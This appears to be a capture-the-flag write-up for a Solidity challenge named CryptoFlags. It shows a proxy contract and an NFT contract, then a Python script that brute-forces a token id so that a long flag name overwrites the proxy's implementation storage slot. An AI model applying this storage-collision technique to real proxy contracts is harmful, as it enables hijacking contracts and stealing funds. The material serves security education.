My favorite TikTok influencer told me about a great NFT project that is guaranteed to not be a scam. It even has this cool feature where you can name your token :^)
//SPDX-License-Identifier: Unlicensepragmasolidity0.8.20;contractUpgradeableProxy{// keccak256("owner_storage");bytes32publicconstantOWNER_STORAGE=0x6ec82d6c1818e9fe1ca828d3577e9b2dadd8d4720dd58701606af804c069cfcb;// keccak256("implementation_storage");bytes32publicconstantIMPLEMENTATION_STORAGE=0xb6753470eb6d4b1c922b6fc73d6f139c74e8cf70d68951794272d43bed766bd6;structAddressSlot{addressvalue;}functiongetAddressSlot(bytes32slot)internalpurereturns(AddressSlotstorager){assembly{r.slot:=slot}}constructor(){AddressSlotstorageowner=getAddressSlot(OWNER_STORAGE);owner.value=msg.sender;}functionupgradeTo(addressimplementation)external{require(msg.sender==getAddressSlot(OWNER_STORAGE).value,"Only owner can upgrade");getAddressSlot(IMPLEMENTATION_STORAGE).value=implementation;}function_delegate(addressimplementation)internal{assembly{// Copy msg.data. We take full control of memory in this inline assembly// block because it will not return to Solidity code. We overwrite the// Solidity scratch pad at memory position 0.calldatacopy(0,0,calldatasize())// Call the implementation.// out and outsize are 0 because we don't know the size yet.letresult:=delegatecall(gas(),implementation,0,calldatasize(),0,0)// Copy the returned data.returndatacopy(0,0,returndatasize())switchresult// delegatecall returns 0 on error.case0{revert(0,returndatasize())}default{return(0,returndatasize())}}}fallback()externalpayable{_delegate(getAddressSlot(IMPLEMENTATION_STORAGE).value);}}
//SPDX-License-Identifier: Unlicensepragmasolidity0.8.20;import"./ERC721_flattened.sol";contractCryptoFlagsisERC721{mapping(uint256=>string)publicFlagNames;constructor()ERC721("CryptoFlags","CTF"){}function_beforeTokenTransfer(addressfrom,addressto,uint256tokenId)internaloverridevirtual{require(from==address(0),"no flag sharing pls :^)");to;tokenId;}functionsetFlagName(uint256id,stringmemoryname)external{require(ownerOf(id)==msg.sender,"Only owner can name the flag");require(bytes(FlagNames[id]).length==0,"that flag already has a name");FlagNames[id]=name;}functionclaimFlag(uint256id)external{require(id<=100_000_000,"Only the first 100_000_000 ids allowed");_mint(msg.sender,id);}functionisSolved()externalpurereturns(bool){returnfalse;}}
The CryptoFlags is using a proxy, to make isSolved() return true, we have to update the value stored in the implementation slot, since the current logic contract will always return false.
There are two possible ways to upgrade the contract, both of which require modifying specific slots in an unauthorized manner:
Directly modify the IMPLEMENTATION_STORAGE slot
Modify the OWNER_STORAGE slot, then call upgradeTo() to modify the IMPLEMENTATION_STORAGE slot
Since mapping FlagNames occupies slot 6, through the setFlagName() function in the CryptoFlags contract, we can modify the storage slot at keccak(abi.encode(id, 6)) or after keccak(uint256(keccak(abi.encode(id, 6)))), depending on the length of the string.
functionsetFlagName(uint256id,stringmemoryname)external{require(ownerOf(id)==msg.sender,"Only owner can name the flag");require(bytes(FlagNames[id]).length==0,"that flag already has a name");FlagNames[id]=name;}functionclaimFlag(uint256id)external{require(id<=100_000_000,"Only the first 100_000_000 ids allowed");_mint(msg.sender,id);}
If the target slot is at keccak(abi.encode(id, 6)), we can not modify it because bytes(FlagNames[id]).length is not zero. But it is possible that the target slot is close to keccak(uint256(keccak(abi.encode(id, 6)))). Luckily, the value of IMPLEMENTATION_STORAGE is not the keccak256 hash of "implementation_storage" and CryptoFlags limits the maximum value of id, we can traverse within this range.
fromweb3importWeb3fromtqdmimporttqdmowner_slot=int("6ec82d6c1818e9fe1ca828d3577e9b2dadd8d4720dd58701606af804c069cfcb",16)impl_slot=int("b6753470eb6d4b1c922b6fc73d6f139c74e8cf70d68951794272d43bed766bd6",16)foriintqdm(range(100_000_001)):h=Web3.solidity_keccak(['uint256','uint256'],[i,6])slot=int(Web3.solidity_keccak(['uint256'],[int(h.hex(),16)]).hex(),16)d=owner_slot-slot# the slot where `name` stored should not be too far from the target slot# to avoid reaching the block gas limitifd>=0andd<=10000:print(i,h.hex(),hex(slot),d)d=impl_slot-slotifd>=0andd<=10000:print(i,h.hex(),hex(slot),d)# Result: 56488061 fd873ebcc46cb76d491c36d05ef9b7b40d72903b955f8c3cc3bfceab0b7eccb7 0xb6753470eb6d4b1c922b6fc73d6f139c74e8cf70d68951794272d43bed766b49 141
The result shows that there is one slot that is only 141 slots away from the IMPLEMENTATION_STORAGE slot. Thus, we can directly modify it and solve the challenge <3